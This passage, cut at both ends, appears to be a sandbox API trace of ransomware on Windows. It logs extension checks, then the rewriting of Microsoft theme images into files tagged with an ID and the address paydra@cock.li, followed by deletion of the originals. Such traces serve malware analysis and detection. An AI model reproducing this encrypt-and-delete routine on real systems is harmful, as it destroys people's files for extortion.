lpString2="GIF") returned -1 [0044.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0044.730] lstrlenW (lpString=".dbf") returned 4 [0044.730] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0044.730] lstrlenW (lpString=".1cd") returned 4 [0044.730] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0044.730] lstrlenW (lpString=".jpg") returned 4 [0044.730] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0044.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0044.730] lstrlenW (lpString=".doc") returned 4 [0044.730] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.730] lstrlenW (lpString=".docx") returned 5 [0044.730] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.730] lstrlenW (lpString=".pdf") returned 4 [0044.730] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.730] lstrlenW (lpString=".xls") returned 4 [0044.730] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.730] lstrlenW (lpString=".xlsx") returned 5 [0044.730] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.730] lstrlenW (lpString=".ppt") returned 4 [0044.730] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0044.730] lstrlenW (lpString=".zip") returned 4 [0044.731] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.731] lstrlenW (lpString=".rar") returned 4 [0044.731] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.731] lstrlenW (lpString=".bz2") returned 4 [0044.731] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.731] lstrlenW (lpString=".7z") returned 3 [0044.731] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0044.731] lstrlenW (lpString=".dbf") returned 4 [0044.731] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0044.731] lstrlenW (lpString=".1cd") returned 4 [0044.731] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0044.731] lstrlenW (lpString=".jpg") returned 4 [0044.731] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.731] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.731] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.731] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2722) returned 1 [0044.732] CloseHandle (hObject=0x1e0) returned 1 [0044.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0044.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.732] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.732] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0044.734] GetLastError () returned 0x0 [0044.734] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xaa2, lpOverlapped=0x0) returned 1 [0044.735] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xab0, lpOverlapped=0x0) returned 1 [0044.736] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0044.736] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.736] SetEndOfFile (hFile=0x19c) returned 1 [0044.736] CloseHandle (hObject=0x19c) returned 1 [0044.736] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.736] SetEndOfFile (hFile=0x1e0) returned 1 [0044.737] CloseHandle (hObject=0x1e0) returned 1 [0044.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.737] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0044.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.738] lstrlenW (lpString=".doc") returned 4 [0044.738] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.738] lstrlenW (lpString=".docx") returned 5 [0044.738] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.738] lstrlenW (lpString=".pdf") returned 4 [0044.738] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.738] lstrlenW (lpString=".xls") returned 4 [0044.738] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.738] lstrlenW (lpString=".xlsx") returned 5 [0044.738] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.738] lstrlenW (lpString=".ppt") returned 4 [0044.738] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.738] lstrlenW (lpString=".zip") returned 4 [0044.738] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.738] lstrlenW (lpString=".rar") returned 4 [0044.738] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.738] lstrlenW (lpString=".bz2") returned 4 [0044.738] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.738] lstrlenW (lpString=".7z") returned 3 [0044.738] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.738] lstrlenW (lpString=".dbf") returned 4 [0044.738] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.738] lstrlenW (lpString=".1cd") returned 4 [0044.738] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.739] lstrlenW (lpString=".jpg") returned 4 [0044.739] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.739] lstrlenW (lpString=".doc") returned 4 [0044.739] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.739] lstrlenW (lpString=".docx") returned 5 [0044.739] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.739] lstrlenW (lpString=".pdf") returned 4 [0044.739] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.739] lstrlenW (lpString=".xls") returned 4 [0044.739] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.739] lstrlenW (lpString=".xlsx") returned 5 [0044.739] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.739] lstrlenW (lpString=".ppt") returned 4 [0044.739] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.739] lstrlenW (lpString=".zip") returned 4 [0044.739] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.739] lstrlenW (lpString=".rar") returned 4 [0044.739] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.739] lstrlenW (lpString=".bz2") returned 4 [0044.739] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.739] lstrlenW (lpString=".7z") returned 3 [0044.739] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.739] lstrlenW (lpString=".dbf") returned 4 [0044.739] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.739] lstrlenW (lpString=".1cd") returned 4 [0044.740] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.740] lstrlenW (lpString=".jpg") returned 4 [0044.740] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.740] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.740] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.743] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=43276) returned 1 [0044.743] CloseHandle (hObject=0x1e0) returned 1 [0044.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0044.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.743] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.743] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0044.744] GetLastError () returned 0x0 [0044.744] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xa90c, lpOverlapped=0x0) returned 1 [0044.746] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xa910, lpOverlapped=0x0) returned 1 [0044.747] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0044.747] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.747] SetEndOfFile (hFile=0x19c) returned 1 [0044.747] CloseHandle (hObject=0x19c) returned 1 [0044.748] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.748] SetEndOfFile (hFile=0x1e0) returned 1 [0044.749] CloseHandle (hObject=0x1e0) returned 1 [0044.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.749] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0044.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.749] lstrlenW (lpString=".doc") returned 4 [0044.749] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.749] lstrlenW (lpString=".docx") returned 5 [0044.749] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.749] lstrlenW (lpString=".pdf") returned 4 [0044.749] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.749] lstrlenW (lpString=".xls") returned 4 [0044.749] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.749] lstrlenW (lpString=".xlsx") returned 5 [0044.749] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.749] lstrlenW (lpString=".ppt") returned 4 [0044.749] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.749] lstrlenW (lpString=".zip") returned 4 [0044.749] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.750] lstrlenW (lpString=".rar") returned 4 [0044.750] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.750] lstrlenW (lpString=".bz2") returned 4 [0044.750] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.750] lstrlenW (lpString=".7z") returned 3 [0044.750] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.750] lstrlenW (lpString=".dbf") returned 4 [0044.750] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.750] lstrlenW (lpString=".1cd") returned 4 [0044.750] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.750] lstrlenW (lpString=".jpg") returned 4 [0044.750] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.750] lstrlenW (lpString=".doc") returned 4 [0044.750] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.750] lstrlenW (lpString=".docx") returned 5 [0044.750] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.750] lstrlenW (lpString=".pdf") returned 4 [0044.750] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.750] lstrlenW (lpString=".xls") returned 4 [0044.750] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.750] lstrlenW (lpString=".xlsx") returned 5 [0044.750] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.750] lstrlenW (lpString=".ppt") returned 4 [0044.750] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.750] lstrlenW (lpString=".zip") returned 4 [0044.751] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.751] lstrlenW (lpString=".rar") returned 4 [0044.751] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.751] lstrlenW (lpString=".bz2") returned 4 [0044.751] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.751] lstrlenW (lpString=".7z") returned 3 [0044.751] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.751] lstrlenW (lpString=".dbf") returned 4 [0044.751] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.751] lstrlenW (lpString=".1cd") returned 4 [0044.751] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.751] lstrlenW (lpString=".jpg") returned 4 [0044.751] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.751] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.751] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.751] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=945) returned 1 [0044.751] CloseHandle (hObject=0x1e0) returned 1 [0044.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0044.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.752] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.752] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0044.754] GetLastError () returned 0x0 [0044.754] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x3b1, lpOverlapped=0x0) returned 1 [0044.757] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0044.758] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0044.758] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.758] SetEndOfFile (hFile=0x19c) returned 1 [0044.758] CloseHandle (hObject=0x19c) returned 1 [0044.758] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.758] SetEndOfFile (hFile=0x1e0) returned 1 [0044.759] CloseHandle (hObject=0x1e0) returned 1 [0044.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.759] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0044.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.759] lstrlenW (lpString=".doc") returned 4 [0044.759] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.759] lstrlenW (lpString=".docx") returned 5 [0044.759] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.759] lstrlenW (lpString=".pdf") returned 4 [0044.759] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.759] lstrlenW (lpString=".xls") returned 4 [0044.759] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.759] lstrlenW (lpString=".xlsx") returned 5 [0044.759] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.760] lstrlenW (lpString=".ppt") returned 4 [0044.760] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0044.760] lstrlenW (lpString=".zip") returned 4 [0044.760] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.760] lstrlenW (lpString=".rar") returned 4 [0044.760] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.760] lstrlenW (lpString=".bz2") returned 4 [0044.760] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.760] lstrlenW (lpString=".7z") returned 3 [0044.760] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 